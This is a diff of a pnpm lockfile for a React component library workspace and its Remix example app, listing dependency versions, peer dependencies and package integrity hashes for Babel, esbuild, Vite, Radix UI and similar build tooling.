vite-node@1.6.1(@types/node@25.3.2)(lightningcss@1.32.0): - dependencies: - cac: 6.7.14 - debug: 4.4.3 - pathe: 1.1.2 - picocolors: 1.1.1 - vite: 5.4.21(@types/node@25.3.2)(lightningcss@1.32.0) - transitivePeerDependencies: - - '@types/node' - - less - - lightningcss - - sass - - sass-embedded - - stylus - - sugarss - - supports-color - - terser - - vite-node@3.2.4(@types/node@25.3.2)(lightningcss@1.32.0): - dependencies: - cac: 6.7.14 - debug: 4.4.3 - es-module-lexer: 1.7.0 - pathe: 2.0.3 - vite: 5.4.21(@types/node@25.3.2)(lightningcss@1.32.0) - transitivePeerDependencies: - - '@types/node' - - less - - lightningcss - - sass - - sass-embedded - - stylus - - sugarss - - supports-color - - terser - - vite@5.4.21(@types/node@25.3.2)(lightningcss@1.32.0): - dependencies: - esbuild: 0.21.5 - postcss: 8.5.8 - rollup: 4.60.0 - optionalDependencies: - '@types/node': 25.3.2 - fsevents: 2.3.3 - lightningcss: 1.32.0 - - wcwidth@1.0.1: - dependencies: - defaults: 1.0.4 - - web-encoding@1.1.5: - dependencies: - util: 0.12.5 - optionalDependencies: - '@zxing/text-encoding': 0.9.0 - - web-streams-polyfill@3.3.3: {} - - which-boxed-primitive@1.1.1: - dependencies: - is-bigint: 1.1.0 - is-boolean-object: 1.2.2 - is-number-object: 1.1.1 - is-string: 1.1.1 - is-symbol: 1.1.1 - - which-builtin-type@1.2.1: - dependencies: - call-bound: 1.0.4 - function.prototype.name: 1.1.8 - has-tostringtag: 1.0.2 - is-async-function: 2.1.1 - is-date-object: 1.1.0 - is-finalizationregistry: 1.1.1 - is-generator-function: 1.1.2 - is-regex: 1.2.1 - is-weakref: 1.1.1 - isarray: 2.0.5 - which-boxed-primitive: 1.1.1 - which-collection: 1.0.2 - which-typed-array: 1.1.20 - - which-collection@1.0.2: - dependencies: - is-map: 2.0.3 - is-set: 2.0.3 - is-weakmap: 2.0.2 - is-weakset: 2.0.4 - - which-typed-array@1.1.20: - dependencies: - available-typed-arrays: 1.0.7 - call-bind: 1.0.8 - call-bound: 1.0.4 - for-each: 0.3.5 - get-proto: 1.0.1 - gopd: 1.2.0 - has-tostringtag: 1.0.2 - - which@2.0.2: - dependencies: - isexe: 2.0.0 - - which@3.0.1: - dependencies: - isexe: 2.0.0 - - word-wrap@1.2.5: {} - - wrap-ansi@7.0.0: - dependencies: - ansi-styles: 4.3.0 - string-width: 4.2.3 - strip-ansi: 6.0.1 - - wrap-ansi@8.1.0: - dependencies: - ansi-styles: 6.2.3 - string-width: 5.1.2 - strip-ansi: 7.2.0 - - wrappy@1.0.2: {} - - ws@7.5.10: {} - - xtend@4.0.2: {} - - yallist@3.1.1: {} - - yallist@4.0.0: {} - - yaml@1.10.2: {} - - yaml@2.8.2: {} - - yocto-queue@0.1.0: {} - - zwitch@2.0.4: {} +lockfileVersion: '9.0' + +settings: + autoInstallPeers: true + excludeLinksFromLockfile: false + +importers: + + .: + dependencies: + '@radix-ui/react-checkbox': + specifier: ^1.0.0 + version: 1.3.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-dialog': + specifier: ^1.0.0 + version: 1.1.15(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-popover': + specifier: ^1.0.0 + version: 1.1.15(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-select': + specifier: ^2.0.0 + version: 2.2.6(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-separator': + specifier: ^1.0.0 + version: 1.1.8(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-tabs': + specifier: ^1.0.0 + version: 1.1.13(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-tooltip': + specifier: ^1.0.0 + version: 1.2.8(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + class-variance-authority: + specifier: ^0.7.1 + version: 0.7.1 + clsx: + specifier: ^2.1.1 + version: 2.1.1 + cmdk: + specifier: ^1.0.0 + version: 1.1.1(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + date-fns: + specifier: ^3.0.6 + version: 3.6.0 + js-yaml: + specifier: ^4.1.1 + version: 4.1.1 + lucide-react: + specifier: ^0.577.0 + version: 0.577.0(react@19.2.4) + tailwind-merge: + specifier: ^3.4.0 + version: 3.5.0 + tailwindcss-animate: + specifier: ^1.0.7 + version: 1.0.7(tailwindcss@4.2.2) + devDependencies: + '@monaco-editor/react': + specifier: ^4.6.0 + version: 4.7.0(monaco-editor@0.55.1)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@playwright/test': + specifier: ^1.48.0 + version: 1.58.2 + '@rollup/plugin-commonjs': + specifier: ^29.0.0 + version: 29.0.2(rollup@4.60.0) + '@rollup/plugin-node-resolve': + specifier: ^15.2.3 + version: 15.3.1(rollup@4.60.0) + '@rollup/plugin-typescript': + specifier: ^11.1.6 + version: 11.1.6(rollup@4.60.0)(tslib@2.8.1)(typescript@5.9.3) + '@tailwindcss/postcss': + specifier: ^4.2.1 + version: 4.2.2 + '@types/react': + specifier: ^18.0.0 + version: 18.3.28 + '@types/react-dom': + specifier: ^18.0.0 + version: 18.3.7(@types/react@18.3.28) + '@typescript-eslint/eslint-plugin': + specifier: ^6.15.0 + version: 6.21.0(@typescript-eslint/parser@6.21.0(eslint@8.57.1)(typescript@5.9.3))(eslint@8.57.1)(typescript@5.9.3) + '@typescript-eslint/parser': + specifier: ^6.15.0 + version: 6.21.0(eslint@8.57.1)(typescript@5.9.3) + autoprefixer: + specifier: ^10.4.27 + version: 10.4.27(postcss@8.5.8) + eslint: + specifier: ^8.56.0 + version: 8.57.1 + eslint-plugin-react: + specifier: ^7.33.2 + version: 7.37.5(eslint@8.57.1) + eslint-plugin-react-hooks: + specifier: ^4.6.0 + version: 4.6.2(eslint@8.57.1) + monaco-editor: + specifier: ^0.55.0 + version: 0.55.1 + react: + specifier: ^19.0.0 + version: 19.2.4 + react-dom: + specifier: ^19.0.0 + version: 19.2.4(react@19.2.4) + rollup: + specifier: ^4.9.1 + version: 4.60.0 + rollup-plugin-peer-deps-external: + specifier: ^2.2.4 + version: 2.2.4(rollup@4.60.0) + rollup-plugin-postcss: + specifier: ^4.0.2 + version: 4.0.2(postcss@8.5.8) + tailwindcss: + specifier: ^4.2.1 + version: 4.2.2 + tslib: + specifier: ^2.6.2 + version: 2.8.1 + typescript: + specifier: ^5.3.3 + version: 5.9.3 + + example: + dependencies: + '@datum-cloud/activity-ui': + specifier: workspace:* + version: link:.. + '@monaco-editor/react': + specifier: ^4.7.0 + version: 4.7.0(monaco-editor@0.55.1)(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + '@remix-run/node': + specifier: ^2.15.2 + version: 2.17.4(typescript@5.9.3) + '@remix-run/react': + specifier: ^2.15.2 + version: 2.17.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1)(typescript@5.9.3) + '@remix-run/serve': + specifier: ^2.15.2 + version: 2.17.4(typescript@5.9.3) + class-variance-authority: + specifier: ^0.7.1 + version: 0.7.1 + clsx: + specifier: ^2.1.1 + version: 2.1.1 + isbot: + specifier: ^5.1.17 + version: 5.1.36 + js-yaml: + specifier: ^4.1.1 + version: 4.1.1 + lucide-react: + specifier: ^0.577.0 + version: 0.577.0(react@18.3.1) + monaco-editor: + specifier: ^0.55.0 + version: 0.55.1 + react: + specifier: ^18.2.0 + version: 18.3.1 + react-dom: + specifier: ^18.2.0 + version: 18.3.1(react@18.3.1) + tailwind-merge: + specifier: ^3.4.0 + version: 3.5.0 + tailwindcss-animate: + specifier: ^1.0.7 + version: 1.0.7(tailwindcss@4.2.2) + devDependencies: + '@remix-run/dev': + specifier: ^2.15.2 + version: 2.17.4(@remix-run/react@2.17.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1)(typescript@5.9.3))(@remix-run/serve@2.17.4(typescript@5.9.3))(@types/node@25.3.2)(lightningcss@1.32.0)(typescript@5.9.3)(vite@5.4.21(@types/node@25.3.2)(lightningcss@1.32.0)) + '@tailwindcss/oxide-darwin-arm64': + specifier: ^4.2.1 + version: 4.2.2 + '@tailwindcss/postcss': + specifier: ^4.1.17 + version: 4.2.2 + '@tailwindcss/vite': + specifier: ^4.2.1 + version: 4.2.2(vite@5.4.21(@types/node@25.3.2)(lightningcss@1.32.0)) + '@types/js-yaml': + specifier: ^4.0.9 + version: 4.0.9 + '@types/react': + specifier: ^18.2.45 + version: 18.3.28 + '@types/react-dom': + specifier: ^18.2.18 + version: 18.3.7(@types/react@18.3.28) + autoprefixer: + specifier: ^10.4.22 + version: 10.4.27(postcss@8.5.8) + lightningcss: + specifier: ^1.31.1 + version: 1.32.0 + postcss: + specifier: ^8.5.6 + version: 8.5.8 + tailwindcss: + specifier: ^4.1.17 + version: 4.2.2 + typescript: + specifier: ^5.3.3 + version: 5.9.3 + vite: + specifier: ^5.0.8 + version: 5.4.21(@types/node@25.3.2)(lightningcss@1.32.0) + +packages: + + '@alloc/quick-lru@5.2.0': + resolution: {integrity: sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==} + engines: {node: '>=10'} + + '@babel/code-frame@7.29.0': + resolution: {integrity: sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==} + engines: {node: '>=6.9.0'} + + '@babel/compat-data@7.29.0': + resolution: {integrity: sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==} + engines: {node: '>=6.9.0'} + + '@babel/core@7.29.0': + resolution: {integrity: sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==} + engines: {node: '>=6.9.0'} + + '@babel/generator@7.29.1': + resolution: {integrity: sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==} + engines: {node: '>=6.9.0'} + + '@babel/helper-annotate-as-pure@7.27.3': + resolution: {integrity: sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg==} + engines: {node: '>=6.9.0'} + + '@babel/helper-compilation-targets@7.28.6': + resolution: {integrity: sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA==} + engines: {node: '>=6.9.0'} + + '@babel/helper-create-class-features-plugin@7.28.6': + resolution: {integrity: sha512-dTOdvsjnG3xNT9Y0AUg1wAl38y+4Rl4sf9caSQZOXdNqVn+H+HbbJ4IyyHaIqNR6SW9oJpA/RuRjsjCw2IdIow==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + + '@babel/helper-globals@7.28.0': + resolution: {integrity: sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==} + engines: {node: '>=6.9.0'} + + '@babel/helper-member-expression-to-functions@7.28.5': + resolution: {integrity: sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg==} + engines: {node: '>=6.9.0'} + + '@babel/helper-module-imports@7.28.6': + resolution: {integrity: sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw==} + engines: {node: '>=6.9.0'} + + '@babel/helper-module-transforms@7.28.6': + resolution: {integrity: sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + + '@babel/helper-optimise-call-expression@7.27.1': + resolution: {integrity: sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw==} + engines: {node: '>=6.9.0'} + + '@babel/helper-plugin-utils@7.28.6': + resolution: {integrity: sha512-S9gzZ/bz83GRysI7gAD4wPT/AI3uCnY+9xn+Mx/KPs2JwHJIz1W8PZkg2cqyt3RNOBM8ejcXhV6y8Og7ly/Dug==} + engines: {node: '>=6.9.0'} + + '@babel/helper-replace-supers@7.28.6': + resolution: {integrity: sha512-mq8e+laIk94/yFec3DxSjCRD2Z0TAjhVbEJY3UQrlwVo15Lmt7C2wAUbK4bjnTs4APkwsYLTahXRraQXhb1WCg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + + '@babel/helper-skip-transparent-expression-wrappers@7.27.1': + resolution: {integrity: sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg==} + engines: {node: '>=6.9.0'} + + '@babel/helper-string-parser@7.27.1': + resolution: {integrity: sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==} + engines: {node: '>=6.9.0'} + + '@babel/helper-validator-identifier@7.28.5': + resolution: {integrity: sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==} + engines: {node: '>=6.9.0'} + + '@babel/helper-validator-option@7.27.1': + resolution: {integrity: sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==} + engines: {node: '>=6.9.0'} + + '@babel/helpers@7.28.6': + resolution: {integrity: sha512-xOBvwq86HHdB7WUDTfKfT/Vuxh7gElQ+Sfti2Cy6yIWNW05P8iUslOVcZ4/sKbE+/jQaukQAdz/gf3724kYdqw==} + engines: {node: '>=6.9.0'} + + '@babel/parser@7.29.0': + resolution: {integrity: sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww==} + engines: {node: '>=6.0.0'} + hasBin: true + + '@babel/plugin-syntax-decorators@7.28.6': + resolution: {integrity: sha512-71EYI0ONURHJBL4rSFXnITXqXrrY8q4P0q006DPfN+Rk+ASM+++IBXem/ruokgBZR8YNEWZ8R6B+rCb8VcUTqA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-syntax-jsx@7.28.6': + resolution: {integrity: sha512-wgEmr06G6sIpqr8YDwA2dSRTE3bJ+V0IfpzfSY3Lfgd7YWOaAdlykvJi13ZKBt8cZHfgH1IXN+CL656W3uUa4w==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-syntax-typescript@7.28.6': + resolution: {integrity: sha512-+nDNmQye7nlnuuHDboPbGm00Vqg3oO8niRRL27/4LYHUsHYh0zJ1xWOz0uRwNFmM1Avzk8wZbc6rdiYhomzv/A==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-modules-commonjs@7.28.6': + resolution: {integrity: sha512-jppVbf8IV9iWWwWTQIxJMAJCWBuuKx71475wHwYytrRGQ2CWiDvYlADQno3tcYpS/T2UUWFQp3nVtYfK/YBQrA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-typescript@7.28.6': + resolution: {integrity: sha512-0YWL2RFxOqEm9Efk5PvreamxPME8OyY0wM5wh5lHjF+VtVhdneCWGzZeSqzOfiobVqQaNCd2z0tQvnI9DaPWPw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/preset-typescript@7.28.5': + resolution: {integrity: sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/runtime@7.28.6': + resolution: {integrity: sha512-05WQkdpL9COIMz4LjTxGpPNCdlpyimKppYNoJ5Di5EUObifl8t4tuLuUBBZEpoLYOmfvIWrsp9fCl0HoPRVTdA==} + engines: {node: '>=6.9.0'} + + '@babel/template@7.28.6': + resolution: {integrity: sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==} + engines: {node: '>=6.9.0'} + + '@babel/traverse@7.29.0': + resolution: {integrity: sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==} + engines: {node: '>=6.9.0'} + + '@babel/types@7.29.0': + resolution: {integrity: sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==} + engines: {node: '>=6.9.0'} + + '@emotion/hash@0.9.2': + resolution: {integrity: sha512-MyqliTZGuOm3+5ZRSaaBGP3USLw6+EGykkwZns2EPC5g8jJ4z9OrdZY9apkl3+UP9+sdz76YYkwCKP5gh8iY3g==} + + '@esbuild/aix-ppc64@0.21.5': + resolution: {integrity: sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ==} + engines: {node: '>=12'} + cpu: [ppc64] + os: [aix] + + '@esbuild/android-arm64@0.17.6': + resolution: {integrity: sha512-YnYSCceN/dUzUr5kdtUzB+wZprCafuD89Hs0Aqv9QSdwhYQybhXTaSTcrl6X/aWThn1a/j0eEpUBGOE7269REg==} + engines: {node: '>=12'} + cpu: [arm64] + os: [android] + + '@esbuild/android-arm64@0.21.5': + resolution: {integrity: sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A==} + engines: {node: '>=12'} + cpu: [arm64] + os: [android] + + '@esbuild/android-arm@0.17.6': + resolution: {integrity: sha512-bSC9YVUjADDy1gae8RrioINU6e1lCkg3VGVwm0QQ2E1CWcC4gnMce9+B6RpxuSsrsXsk1yojn7sp1fnG8erE2g==} + engines: {node: '>=12'} + cpu: [arm] + os: [android] + + '@esbuild/android-arm@0.21.5': + resolution: {integrity: sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg==} + engines: {node: '>=12'} + cpu: [arm] + os: [android] + + '@esbuild/android-x64@0.17.6': + resolution: {integrity: sha512-MVcYcgSO7pfu/x34uX9u2QIZHmXAB7dEiLQC5bBl5Ryqtpj9lT2sg3gNDEsrPEmimSJW2FXIaxqSQ501YLDsZQ==} + engines: {node: '>=12'} + cpu: [x64] + os: [android] + + '@esbuild/android-x64@0.21.5': + resolution: {integrity: sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA==} + engines: {node: '>=12'} + cpu: [x64] + os: [android] + + '@esbuild/darwin-arm64@0.17.6': + resolution: {integrity: sha512-bsDRvlbKMQMt6Wl08nHtFz++yoZHsyTOxnjfB2Q95gato+Yi4WnRl13oC2/PJJA9yLCoRv9gqT/EYX0/zDsyMA==} + engines: {node: '>=12'} + cpu: [arm64] + os: [darwin] + + '@esbuild/darwin-arm64@0.21.5': + resolution: {integrity: sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ==} + engines: {node: '>=12'} + cpu: [arm64] + os: [darwin] + + '@esbuild/darwin-x64@0.17.6': + resolution: {integrity: sha512-xh2A5oPrYRfMFz74QXIQTQo8uA+hYzGWJFoeTE8EvoZGHb+idyV4ATaukaUvnnxJiauhs/fPx3vYhU4wiGfosg==} + engines: {node: '>=12'} + cpu: [x64] + os: [darwin] + + '@esbuild/darwin-x64@0.21.5': + resolution: {integrity: sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw==} + engines: {node: '>=12'} + cpu: [x64] + os: [darwin] + + '@esbuild/freebsd-arm64@0.17.6': + resolution: {integrity: sha512-EnUwjRc1inT4ccZh4pB3v1cIhohE2S4YXlt1OvI7sw/+pD+dIE4smwekZlEPIwY6PhU6oDWwITrQQm5S2/iZgg==} + engines: {node: '>=12'} + cpu: [arm64] + os: [freebsd] + + '@esbuild/freebsd-arm64@0.21.5': + resolution: {integrity: sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g==} + engines: {node: '>=12'} + cpu: [arm64] + os: [freebsd] + + '@esbuild/freebsd-x64@0.17.6': + resolution: {integrity: sha512-Uh3HLWGzH6FwpviUcLMKPCbZUAFzv67Wj5MTwK6jn89b576SR2IbEp+tqUHTr8DIl0iDmBAf51MVaP7pw6PY5Q==} + engines: {node: '>=12'} + cpu: [x64] + os: [freebsd] + + '@esbuild/freebsd-x64@0.21.5': + resolution: {integrity: sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ==} + engines: {node: '>=12'} + cpu: [x64] + os: [freebsd] + + '@esbuild/linux-arm64@0.17.6': + resolution: {integrity: sha512-bUR58IFOMJX523aDVozswnlp5yry7+0cRLCXDsxnUeQYJik1DukMY+apBsLOZJblpH+K7ox7YrKrHmJoWqVR9w==} + engines: {node: '>=12'} + cpu: [arm64] + os: [linux] + + '@esbuild/linux-arm64@0.21.5': + resolution: {integrity: sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q==} + engines: {node: '>=12'} + cpu: [arm64] + os: [linux] + + '@esbuild/linux-arm@0.17.6': + resolution: {integrity: sha512-7YdGiurNt7lqO0Bf/U9/arrPWPqdPqcV6JCZda4LZgEn+PTQ5SMEI4MGR52Bfn3+d6bNEGcWFzlIxiQdS48YUw==} + engines: {node: '>=12'} + cpu: [arm] + os: [linux] + + '@esbuild/linux-arm@0.21.5': + resolution: {integrity: sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA==} + engines: {node: '>=12'} + cpu: [arm] + os: [linux] + + '@esbuild/linux-ia32@0.17.6': + resolution: {integrity: sha512-ujp8uoQCM9FRcbDfkqECoARsLnLfCUhKARTP56TFPog8ie9JG83D5GVKjQ6yVrEVdMie1djH86fm98eY3quQkQ==} + engines: {node: '>=12'} + cpu: [ia32] + os: [linux] + + '@esbuild/linux-ia32@0.21.5': + resolution: {integrity: sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg==} + engines: {node: '>=12'} + cpu: [ia32] + os: [linux] + + '@esbuild/linux-loong64@0.17.6': + resolution: {integrity: sha512-y2NX1+X/Nt+izj9bLoiaYB9YXT/LoaQFYvCkVD77G/4F+/yuVXYCWz4SE9yr5CBMbOxOfBcy/xFL4LlOeNlzYQ==} + engines: {node: '>=12'} + cpu: [loong64] + os: [linux] + + '@esbuild/linux-loong64@0.21.5': + resolution: {integrity: sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg==} + engines: {node: '>=12'} + cpu: [loong64] + os: [linux] + + '@esbuild/linux-mips64el@0.17.6': + resolution: {integrity: sha512-09AXKB1HDOzXD+j3FdXCiL/MWmZP0Ex9eR8DLMBVcHorrWJxWmY8Nms2Nm41iRM64WVx7bA/JVHMv081iP2kUA==} + engines: {node: '>=12'} + cpu: [mips64el] + os: [linux] + + '@esbuild/linux-mips64el@0.21.5': + resolution: {integrity: sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg==} + engines: {node: '>=12'} + cpu: [mips64el] + os: [linux] + + '@esbuild/linux-ppc64@0.17.6': + resolution: {integrity: sha512-AmLhMzkM8JuqTIOhxnX4ubh0XWJIznEynRnZAVdA2mMKE6FAfwT2TWKTwdqMG+qEaeyDPtfNoZRpJbD4ZBv0Tg==} + engines: {node: '>=12'} + cpu: [ppc64] + os: [linux] + + '@esbuild/linux-ppc64@0.21.5': + resolution: {integrity: sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w==} + engines: {node: '>=12'} + cpu: [ppc64] + os: [linux] + + '@esbuild/linux-riscv64@0.17.6': + resolution: {integrity: sha512-Y4Ri62PfavhLQhFbqucysHOmRamlTVK10zPWlqjNbj2XMea+BOs4w6ASKwQwAiqf9ZqcY9Ab7NOU4wIgpxwoSQ==} + engines: {node: '>=12'} + cpu: [riscv64] + os: [linux] + + '@esbuild/linux-riscv64@0.21.5': + resolution: {integrity: sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA==} + engines: {node: '>=12'} + cpu: [riscv64] + os: [linux] + + '@esbuild/linux-s390x@0.17.6': + resolution: {integrity: sha512-SPUiz4fDbnNEm3JSdUW8pBJ/vkop3M1YwZAVwvdwlFLoJwKEZ9L98l3tzeyMzq27CyepDQ3Qgoba44StgbiN5Q==} + engines: {node: '>=12'} + cpu: [s390x] + os: [linux] + + '@esbuild/linux-s390x@0.21.5': + resolution: {integrity: sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A==} + engines: {node: '>=12'} + cpu: [s390x] + os: [linux] + + '@esbuild/linux-x64@0.17.6': + resolution: {integrity: sha512-a3yHLmOodHrzuNgdpB7peFGPx1iJ2x6m+uDvhP2CKdr2CwOaqEFMeSqYAHU7hG+RjCq8r2NFujcd/YsEsFgTGw==} + engines: {node: '>=12'} + cpu: [x64] + os: [linux] + + '@esbuild/linux-x64@0.21.5': + resolution: {integrity: sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ==} + engines: {node: '>=12'} + cpu: [x64] + os: [linux] + + '@esbuild/netbsd-x64@0.17.6': + resolution: {integrity: sha512-EanJqcU/4uZIBreTrnbnre2DXgXSa+Gjap7ifRfllpmyAU7YMvaXmljdArptTHmjrkkKm9BK6GH5D5Yo+p6y5A==} + engines: {node: '>=12'} + cpu: [x64] + os: [netbsd] + + '@esbuild/netbsd-x64@0.21.5': + resolution: {integrity: sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg==} + engines: {node: '>=12'} + cpu: [x64] + os: [netbsd] + + '@esbuild/openbsd-x64@0.17.6': + resolution: {integrity: sha512-xaxeSunhQRsTNGFanoOkkLtnmMn5QbA0qBhNet/XLVsc+OVkpIWPHcr3zTW2gxVU5YOHFbIHR9ODuaUdNza2Vw==} + engines: {node: '>=12'} + cpu: [x64] + os: [openbsd] + + '@esbuild/openbsd-x64@0.21.5': + resolution: {integrity: sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow==} + engines: {node: '>=12'} + cpu: [x64] + os: [openbsd] + + '@esbuild/sunos-x64@0.17.6': + resolution: {integrity: 